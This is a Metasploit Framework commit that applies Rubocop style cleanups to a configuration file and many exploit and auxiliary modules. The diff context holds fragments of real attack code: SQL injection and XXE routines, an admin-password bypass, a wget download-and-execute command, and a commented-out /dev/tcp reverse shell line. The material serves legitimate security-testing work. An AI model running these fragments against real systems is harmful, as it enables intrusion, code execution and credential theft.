Rubocop recently landed modules continued

This commit is contained in:
Alan Foster
2021-02-24 20:24:57 +00:00
parent 7515828cc5
commit b06c5c12aa
71 changed files with 255 additions and 172 deletions
+42
View File
@@ -85,6 +85,13 @@ Style/BlockComments:
be copy/pasted directly into a terminal etc.
Enabled: false
Style/CaseLikeIf:
Description: >-
This would cause a lot of noise, and potentially introduce subtly different code when
being auto fixed. Could potentially be enabled in isolation, but would require more
consideration.
Enabled: false
Style/CollectionCompact:
Enabled: true
@@ -172,6 +179,17 @@ Metrics/PerceivedComplexity:
Enabled: false
Description: 'This is often a red-herring'
Metrics/BlockNesting:
Description: >-
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
Enabled: false
Metrics/ParameterLists:
Description: >-
This is a good rule to follow, but will cause a lot of overhead introducing this rule.
Increasing the max count for now
Max: 8
Style/TernaryParentheses:
Enabled: false
Description: 'This outright produces bugs'
@@ -184,6 +202,30 @@ Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Naming/HeredocDelimiterNaming:
Description: >-
Could be enabled in isolation with additional effort.
Enabled: false
Naming/AccessorMethodName:
Description: >-
Disabled for now, as this naming convention is used in a lot of core library files.
Could be enabled in isolation with additional effort.
Enabled: false
Naming/ConstantName:
Description: >-
Disabled for now, Metasploit is unfortunately too inconsistent with its naming to introduce
this. Definitely possible to enforce this in the future if need be.
Examples:
ManualRanking, LowRanking, etc.
NERR_ClientNameNotFound
HttpFingerprint
CachedSize
ErrUnknownTransferId
Enabled: false
Naming/VariableNumber:
Description: 'To make it easier to use reference code, disable this cop'
Enabled: false
@@ -102,11 +102,11 @@ class MetasploitModule < Msf::Auxiliary
def free_the_admin(session_id)
# step 2: give the session ID to the server and have it grant us a free admin password
post_data = Rex::MIME::Message.new
post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"')
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, content_disposition = 'form-data; name="password"')
post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"')
post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"')
post_data.add_part(session_id, nil, nil, content_disposition = 'form-data; name="sessionId"')
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
@@ -70,6 +70,8 @@ class MetasploitModule < Msf::Auxiliary
headers_ajp = Array.new
for (header_name, header_value) in headers do
code = header2code[header_name].to_s
# rubocop:disable Style/IdenticalConditionalBranches
if code != ''
headers_ajp.append(code)
headers_ajp.append(ajp_string(header_value.to_s))
@@ -77,6 +79,7 @@ class MetasploitModule < Msf::Auxiliary
headers_ajp.append(ajp_string(header_name.to_s))
headers_ajp.append(ajp_string(header_value.to_s))
end
# rubocop:enable Style/IdenticalConditionalBranches
end
return int2byte(headers.length, 2), headers_ajp
end
@@ -113,7 +116,7 @@ class MetasploitModule < Msf::Auxiliary
end
def ajp_string(message_bytes)
int2byte(message_bytes.length, 2) + message_bytes + "\x00"
"#{int2byte(message_bytes.length, 2)}#{message_bytes}\x00"
end
def int2byte(data, byte_len = 1)
@@ -165,7 +168,7 @@ class MetasploitModule < Msf::Auxiliary
message += attributes_ajp_bytes
message.append("\xff")
message_bytes = message.join
send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s)
send_bytes = "\x12\x34#{ajp_string(message_bytes.to_s)}"
return send_bytes
end
@@ -218,7 +221,9 @@ class MetasploitModule < Msf::Auxiliary
@header_data += "\n"
header_num = buf[idx..(idx + 2)].unpack('n')[0]
idx += 2
for i in 1..header_num
# rubocop:disable Style/IdenticalConditionalBranches
for _i in 1..header_num
if buf[idx] == "\xA0"
idx += 1
@header_data += "#{common_response_headers[buf[idx]]}: "
@@ -234,8 +239,8 @@ class MetasploitModule < Msf::Auxiliary
@header_data += val
end
@header_data += "\n"
end
# rubocop:enable Style/IdenticalConditionalBranches
elsif buf[idx] == "\x05"
return 0
elsif buf[idx] == "\x03"
@@ -110,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
def check
begin
vers_string = retrieve_asa_version
rescue ::Exception
rescue ::StandardError
print_error('Error: Unable to retrieve version information')
return Exploit::CheckCode::Unknown
end
@@ -171,8 +171,6 @@ class MetasploitModule < Msf::Auxiliary
def run
begin
session = rand(1..255)
vers_string = retrieve_asa_version
print_status("Building #{action.name} payload for version #{vers_string}...")
@@ -199,7 +197,7 @@ class MetasploitModule < Msf::Auxiliary
print_error("Error: No payload available for version #{vers_string}")
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Exception => e
rescue ::StandardError => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
ensure
disconnect_snmp
@@ -274,7 +274,7 @@ class WebServiceJob
res.get_xml_document.xpath('//return/text()').to_s != 'false'
end
def get_event # rubocop:disable Naming/AccessorMethodName
def get_event
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header/>
@@ -65,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary
end
@data_xml = {
name: Rex::Text.rand_text_alphanumeric(12),
filename: Rex::Text.rand_text_alphanumeric(12) + '.xml',
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
data: nil
}
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>
@@ -81,7 +81,7 @@ class MetasploitModule < Msf::Auxiliary
</ChartData>)
@xxe_xml = {
name: Rex::Text.rand_text_alphanumeric(12),
filename: Rex::Text.rand_text_alphanumeric(12) + '.xml',
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",
data: nil
}
end
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Auxiliary
</SAPChartCustomizing>)
end
def make_post_data(file_name, dos = false)
def make_post_data(file_name, dos: false)
if !dos
make_xxe_xml(file_name)
else
@@ -222,7 +222,7 @@ class MetasploitModule < Msf::Auxiliary
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(os_release_file, false) # Create a XML data payload to retrieve the value of /etc/os-release
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release
# so that the module can check if the target is vulnerable or not.
# Get OS release information
@@ -297,7 +297,7 @@ class MetasploitModule < Msf::Auxiliary
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(@file, false)
make_post_data(@file, dos: false)
# Download remote file
first_response = send_first_request
@@ -352,7 +352,7 @@ class MetasploitModule < Msf::Auxiliary
# Set up XML data for HTTP request
setup_xml_and_variables
make_post_data(@file, true)
make_post_data(@file, dos: true)
# Send HTTP request
begin
@@ -64,7 +64,7 @@ class MetasploitModule < Msf::Auxiliary
query << "\x00\x01" # Class: IN (0x0001)
# Additional records. Name
query << "\x0a" + 'local-ddns'
query << "\x0alocal-ddns"
query << "\x00"
query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
query << "\x00\x1d" # Data length: 29
# Algorithm Name
query << "\x0b" + 'hmac-sha256' # The algorithm for local-ddns is hmac-sha256
query << "\x0bhmac-sha256" # The algorithm for local-ddns is hmac-sha256
query << "\x00"
# Rest of TSIG
@@ -86,8 +86,8 @@ class MetasploitModule < Msf::Auxiliary
end
def get_domain
domain = "\x06" + Rex::Text.rand_text_alphanumeric(6)
org = "\x03" + Rex::Text.rand_text_alphanumeric(3)
domain = "\x06#{Rex::Text.rand_text_alphanumeric(6)}"
org = "\x03#{Rex::Text.rand_text_alphanumeric(3)}"
domain + org
end
+4 -3
View File
@@ -170,7 +170,7 @@ class MetasploitModule < Msf::Auxiliary
'uri' => "/api/v1/search/#{search_type}",
'agent' => datastore['USERAGENT'],
'headers' => {
'Authorization' => 'Basic ' + Rex::Text.encode_base64(uid.to_s + ':' + secret.to_s)
'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}"
},
'data' => payload.to_json
)
@@ -277,7 +277,8 @@ class MetasploitModule < Msf::Auxiliary
response = http.send_recv(request)
http.close
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
rescue StandardError => e
# noop
rescue ::StandardError => e
print_error(e.message)
end
return false if response.nil?
@@ -644,7 +645,7 @@ class MetasploitModule < Msf::Auxiliary
records << ip.to_s unless is_listed
end
else
records.concat(ip_list.uniq.map { |ip| ip.to_s })
records.concat(ip_list.uniq.map(&:to_s))
end
# Exit if no IP address(es) has been found after cleaning.
@@ -178,7 +178,7 @@ class MetasploitModule < Msf::Auxiliary
elsif node.is_a?(Nokogiri::XML::Element)
node_name = node.name
if node.attributes && !node.attributes.empty?
node_name += ' {' + node.attributes.map { |(_n, attr)| attr.name + '=' + attr.value }.join(',') + '}'
node_name += " {#{node.attributes.map { |(_n, attr)| "#{attr.name}=#{attr.value}" }.join(',')}}"
end
vprint_good "\t" * nesting + node_name
node.children.each do |child|
+2 -2
View File
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
print_good("File download successful, saved in #{path}")
print_good("File content:\n" + file_content) if datastore['PRINT']
print_good("File content:\n#{file_content}") if datastore['PRINT']
return unless datastore['FILEPATH'] == '/etc/shadow'
@@ -158,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
'album' => album_id,
'a' => 'caption',
'ac' => access_code,
'filename' => '.' + (file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : '/' + file_path)
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
}
})
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
def initialize(info = {})
super(
@@ -241,7 +241,7 @@ class MetasploitModule < Msf::Auxiliary
# Stores table data to file on disk
def store_data(data, name)
path = store_loot(name, 'text/plain', datastore['RHOST'], data.to_json, name)
print_good('Saved file to: ' + path)
print_good("Saved file to: #{path}")
end
# Performs all sql injection functionality
@@ -481,7 +481,7 @@ class MetasploitModule < Msf::Auxiliary
hint_count = 0
users.keys.sort { |a, b| a <=> b }.each do |rid|
# If we have a hint then print it
next unless !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
next unless !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
hint = "#{users[rid][:Name]}: \"#{users[rid][:UserPasswordHint]}\""
report_info(hint, 'user.password_hint')
@@ -608,7 +608,7 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Encrypted data: #{cache.enc_data.to_hex}")
vprint_status("IV: #{cache.iv.to_hex}")
enc_data = cache.enc_data.map { |e| e.chr }.join
enc_data = cache.enc_data.map(&:chr).join
if lsa_vista_style?
dec_data = decrypt_hash_vista(enc_data, nlkm_key, cache.iv)
else
@@ -645,7 +645,7 @@ class MetasploitModule < Msf::Auxiliary
info << ("Home Directory Drive: #{cache_data.home_directory_drive.encode(::Encoding::UTF_8)}")
info << ("User ID: #{cache.user_id}")
info << ("Primary Group ID: #{cache.primary_group_id}")
info << ("Additional groups: #{cache_data.groups.map { |g| g.relative_id }.join(' ')}")
info << ("Additional groups: #{cache_data.groups.map(&:relative_id).join(' ')}")
logon_domain_name = cache_data.logon_domain_name.encode(::Encoding::UTF_8)
info << ("Logon domain name: #{logon_domain_name}")
@@ -746,14 +746,14 @@ class MetasploitModule < Msf::Auxiliary
byte_str.map do |byte|
t = byte.to_s(2).rjust(8, '0')
if t[0, 7].count('1').odd?
(t[0, 7] + '0').to_i(2).chr
("#{t[0, 7]}0").to_i(2).chr
else
(t[0, 7] + '1').to_i(2).chr
("#{t[0, 7]}1").to_i(2).chr
end
end
end
def is_weak_des_key?(key)
def weak_des_key?(key)
[
"\x01\x01\x01\x01\x01\x01\x01\x01",
"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE",
@@ -802,7 +802,9 @@ class MetasploitModule < Msf::Auxiliary
plaintext.bytes.each_slice(8) do |block|
tmp_56 = block.map { |byte| byte & 0b01111111 }
if !odd
# rubocop:disable Style/FormatString
tmp_56_str = tmp_56.map { |byte| '%07b' % byte }.join
# rubocop:enable Style/FormatString
tmp_56_str.reverse!
tmp_56 = tmp_56_str.bytes.each_slice(7).map do |bits7|
bits7.map(&:chr).join.to_i(2)
@@ -812,7 +814,7 @@ class MetasploitModule < Msf::Auxiliary
tmp_byte_str = tmp_byte_str.zip(tmp_56).map { |a, b| a ^ b }
end
tempkey = add_parity(tmp_byte_str).map(&:chr).join
if is_weak_des_key?(tempkey)
if weak_des_key?(tempkey)
tempkey[7] = (tempkey[7].ord ^ 0xF0).chr
end
cipher = OpenSSL::Cipher.new('DES-CBC')
@@ -821,7 +823,7 @@ class MetasploitModule < Msf::Auxiliary
cipher.key = tempkey
chekcsumkey = cipher.update(plaintext)[-8..-1]
chekcsumkey = fix_parity(chekcsumkey.bytes).map(&:chr).join
if is_weak_des_key?(chekcsumkey)
if weak_des_key?(chekcsumkey)
chekcsumkey[7] = (chekcsumkey[7].ord ^ 0xF0).chr
end
chekcsumkey.unpack('H*')[0]
@@ -1005,7 +1007,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Module::Failure::NoAccess,
"Unable to authenticate ([#{e.class}] #{e}).")
end
mdm_service = report_service(
report_service(
host: rhost,
port: rport,
host_name: simple.client.default_name,
@@ -1100,7 +1102,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
rescue Rex::ConnectionError => e
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
rescue ::Exception => e
rescue ::StandardError => e
do_cleanup
raise e
ensure
@@ -1110,7 +1112,7 @@ class MetasploitModule < Msf::Auxiliary
end
@winreg.close if @winreg
@tree.disconnect! if @tree
simple.client.disconnect! if simple&.client&.is_a?(RubySMB::Client)
simple.client.disconnect! if simple&.client.is_a?(RubySMB::Client)
disconnect
end
end
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
os_type = data.match(/os.name=\s*\S*/).to_s.split('=')[1]
os_arch = data.match(/os.arch=\s*\S*/).to_s.split('=')[1]
os_ver = data.match(/os.version=\s*\S*/).to_s.split('=')[1]
os = os_type.to_s + ' ' + os_arch.to_s + ' ' + os_ver.to_s
os = "#{os_type} #{os_arch} #{os_ver}"
host_info = {
host: rhost,
@@ -85,7 +85,9 @@ class MetasploitModule < Msf::Auxiliary
refs: references
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
# noop
rescue ::Timeout::Error, ::Errno::EPIPE
# noop
rescue ::OpenSSL::SSL::SSLError => e
return if (e.to_s.match(/^SSL_connect /)) # strange errors / exception if SSL connection aborted
end
@@ -79,7 +79,7 @@ class MetasploitModule < Msf::Auxiliary
# required or you get values like <> for username and *)/?*//-?//>/?=)+ for password hash
if payload.include?('<')
payload.gsub!(/<>/, '=')
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { '0,' + Regexp.last_match(1) }
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
end
res = send_request_cgi({
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://seclists.org/fulldisclosure/2020/May/26']
],
'Actions' => [
['List Users', 'Description' => 'Queries username, password hash for COUNT users'],
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2020-05-12'
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
if payload.include?('<')
payload.gsub!(/<>/, '=')
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { '0,' + Regexp.last_match(1) }
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
end
res = send_request_cgi({
'method' => 'POST',
@@ -167,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary
end
rescue ::Interrupt
print_error('MODBUS - Interrupt during payload')
raise $!
raise $ERROR_INFO
rescue ::Rex::HostUnreachable, ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
print_error("MODBUS - Network error during payload: #{e}")
return
@@ -175,13 +175,13 @@ class MetasploitModule < Msf::Auxiliary
print_error('MODBUS - No reply')
return
end
end
def cleanup
begin
disconnect
rescue StandardError
nil
end
def cleanup
begin
disconnect
rescue StandardError
nil
end
end
end
-1
View File
@@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
+2 -2
View File
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
def upload_payload_and_script(cookie, csrf, patches_path)
# step 5: upload our payload
payload_file = rand_text_alpha(5..12) + '.enc'
payload_file = "#{rand_text_alpha(5..12)}.enc"
post_data = Rex::MIME::Message.new
post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")
@@ -222,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
# to execute as root, we ensure our payload still executes as a3user.
#
# Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
script_file = rand_text_alpha(5..12) + '.enc'
script_file = "#{rand_text_alpha(5..12)}.enc"
@script_filepath = patches_path + script_file
@payload_filepath = patches_path + payload_file
rand_file = rand_text_alpha(5..12)
@@ -253,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
# This request will timeout. It has to, for the exploit to work.
def execute_payload
print_status('Executing plugin...')
res = send_request_cgi({
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
'method' => 'GET',
'cookie' => @cookie,
@@ -85,7 +85,6 @@ class MetasploitModule < Msf::Exploit::Remote
def create_rconfig_user(user, _password)
vprint_status 'STEP 1 : Adding a temporary admin user...'
fake_id = Rex::Text.rand_text_numeric(3)
fake_pass = Rex::Text.rand_text_alpha(10)
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'
userleveladmin = 9 # Administrator
@@ -141,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote
def trigger_rce(cmd, _opts = {})
vprint_status "STEP 3: Executing the command (#{cmd})"
trigger = "`#{cmd} #`"
res = send_request_cgi(
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),
'cookie' => @cookie,
@@ -192,11 +191,11 @@ class MetasploitModule < Msf::Exploit::Remote
check
@username = rand_text_alphanumeric(8..12)
@password = 'admin'
create_res = create_rconfig_user @username, @password
_cres_res = create_rconfig_user @username, @password
login(@username, @password)
tmp_txt_file = Rex::Text.rand_text_alpha(10)
tmp_zip_file = Rex::Text.rand_text_alpha(10)
# The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(
# tmp_txt_file = Rex::Text.rand_text_alpha(10)
# tmp_zip_file = Rex::Text.rand_text_alpha(10)
# trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")
trigger_rce(payload.encoded.to_s)
end
@@ -135,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Local
vprint_status 'Live compiling exploit on system...'
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
code = exploit_data('CVE-2014-2630.c')
code.sub!('#{payload_path}', payload_path) # inject our payload path
code.sub!(payload_path.to_s, payload_path) # inject our payload path
upload_and_compile so_file, code, '-fPIC -shared -static-libgcc'
rm_f "#{so_file}.c"
else
+2
View File
@@ -181,7 +181,9 @@ class MetasploitModule < Msf::Exploit::Local
# Function to get util-linux version.
def find_util_linux_verison
response = cmd_exec('script -V')
# rubocop:disable Lint/MixedRegexpCaptureTypes
match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/)
# rubocop:enable Lint/MixedRegexpCaptureTypes
return false unless match
@@ -46,15 +46,15 @@ class MetasploitModule < Msf::Exploit::Local
],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Automatic', {} ],
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ], version_fingerprint: /^Ubuntu 20\.04/ } ],
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: /^Debian GNU\/Linux 10$/ } ],
[ 'Manual', { } ],
[ 'Ubuntu 19.04 x64 (sudo v1.8.27, libc v2.29)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 19\.04/ } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ], version_fingerprint: /^Ubuntu 18\.04/ } ],
[ 'Debian 10 x64 (sudo v1.8.27, libc v2.28)', { lengths: [ 64, 49, 60, 214 ], version_fingerprint: %r{^Debian GNU/Linux 10$} } ],
[ 'Manual', {} ],
],
'DefaultTarget' => 0,
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
'DisclosureDate' => '2021-01-26',
'Notes' => {
@@ -120,10 +120,10 @@ class MetasploitModule < Msf::Exploit::Local
def get_automatic_target
sysinfo = get_sysinfo
target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if target.nil?
print_status("Using automatically selected target: #{target.name}")
target
selected_target = targets.find { |target| target.opts[:version_fingerprint]&.match(sysinfo[:version]) }
fail_with(Failure::NoTarget, 'Failed to automatically identify the target.') if selected_target.nil?
print_status("Using automatically selected target: #{selected_target.name}")
selected_target
end
def exploit
@@ -139,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Local
path = datastore['WritableDir']
exe_file_name = rand_text_alphanumeric(5..10)
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
overwrite_path = rand_overwrite_path # the part that is overwritten in memory to construct the full path
lib_file_path = "libnss_#{overwrite_path} .so.2" # the full path
upload_and_compile("#{path}/#{exe_file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
buf = "\x3e\xd1\x01"
buf << [4919].pack('N')
buf << [0].pack('N')
buf << "\x02" + "\x01" # os
buf << "\x02\x01" # os
buf << [hn.length].pack('N') << hn
buf << [user.length].pack('N') << user
buf << [0].pack('N')
@@ -255,7 +255,8 @@ class MetasploitModule < Msf::Exploit::Remote
encrypted
end
def create_injection(c, literal = false)
# rubocop:disable Naming/MethodParameterName, Style/FormatStringToken
def create_injection(c, literal: false)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
@@ -296,18 +297,20 @@ class MetasploitModule < Msf::Exploit::Remote
# Here the final payload is created
format(template, INJECTION: inject.to_s, PADDING: pad.to_s)
end
# rubocop:enable Naming/MethodParameterName, Style/FormatStringToken
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack('S>')
new_packet += packet[6..-1]
new_packet
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\'`sh #{@cmd_file}`\'"
payload = create_injection(inject, true)
payload = create_injection(inject, literal: true)
ciphertext = aes_encrypt(payload)
if !ciphertext
@@ -363,7 +366,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{payload_file};chmod +x #{payload_file};./#{payload_file}"
http_service = 'http://' + srv_host + ':' + srv_port.to_s
http_service = "http://#{srv_host}:#{srv_port}"
print_status("Starting up our web service on #{http_service} ...")
start_service({
'Uri' => {
@@ -411,7 +414,9 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("#{peer} - [0%]=#{' =' * ((percentage * 2 / 10 - 1) - 1)}>#{' -' * (20 - (percentage * 2 / 10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
# rubocop:disable Lint/UselessAssignment
index = -2
# rubocop:enable Lint/UselessAssignment
end
# print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
@@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status('[*] ' + request.body)
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
print_status("Targeted operating system is: #{os}")
file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
case os
when /linux/
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
@@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote
OptInt.new('DELAY', [
true,
'The delay (s) before stopping and deleting the processor',
5 # 2 seems enough in my lab, but set to 5 for safety
5 # 2 seems enough in my lab, but set to 5 for safety
])
],
self.class
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
path = normalize_uri(target_uri.path, 'routes')
response = send_request_cgi({
'method' => 'POST', 'uri' => path,
'vars_post' => { 'name' => @rand_name, 'paths' => '/' + @rand_name }
'vars_post' => { 'name' => @rand_name, 'paths' => "/#{@rand_name}" }
})
check_response(response, 201, path, 'creating route')
end
+7 -6
View File
@@ -93,8 +93,8 @@ class MetasploitModule < Msf::Exploit::Remote
@http_param = rand_text_alpha(1)
end
CHECK_COMMAND = 'which which'
SUCCESS_PATTERN = '/bin/which'
CHECK_COMMAND = 'which which'.freeze
SUCCESS_PATTERN = '/bin/which'.freeze
class DetectMethod
attr_reader :php_option_enable, :php_option_disable
@@ -131,7 +131,9 @@ class MetasploitModule < Msf::Exploit::Remote
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
# rubocop:disable Lint/UriEscapeUnescape
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
# rubocop:enable Lint/UriEscapeUnescape
qsl_prime = qsl - qsl_delta / 2 - prefix.length
if qsl_prime < 0
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
@@ -209,7 +211,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
res = nil
path = "/PHP_VALUE\n#{php_setting}"
pos_offset = 34
if path.length > pos_offset
@@ -321,9 +322,9 @@ class MetasploitModule < Msf::Exploit::Remote
path: '/',
qsl: @params[:qsl],
customh_length: @params[:customh_length],
cmd: cleanup_command + ';' + CHECK_COMMAND
cmd: "#{cleanup_command};#{CHECK_COMMAND}"
)
return res if res&.body.include?(SUCCESS_PATTERN)
return res if res&.body&.include?(SUCCESS_PATTERN)
return nil
end
@@ -426,7 +427,7 @@ class MetasploitModule < Msf::Exploit::Remote
kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
rm = "rm -f /tmp/#{@filename}"
cleanup_cmd = kill_workers + ';' + rm
cleanup_cmd = "#{kill_workers};#{rm}"
disconnect(client) if client&.conn?
print_status("Remove /tmp/#{@filename} and kill workers...")
if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
uri = target_uri.path
print_good('Sending shellcode')
res = send_request_cgi({
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'headers' => {
@@ -232,7 +232,7 @@ class MetasploitModule < Msf::Exploit::Remote
# draw up an array of all the cores
cores_list = Array.new
# get the core names
cores_json['status'].keys.each do |core_name|
cores_json['status'].each_key do |core_name|
cores_list.push(core_name)
end
@@ -257,13 +257,13 @@ class MetasploitModule < Msf::Exploit::Remote
core_config_json['config']['queryResponseWriter'].each do |writer_name, writer_config|
# The default name is 'velocity' but a queryResponseWriter can have an
# arbitrary name. The classname is diagnostic.
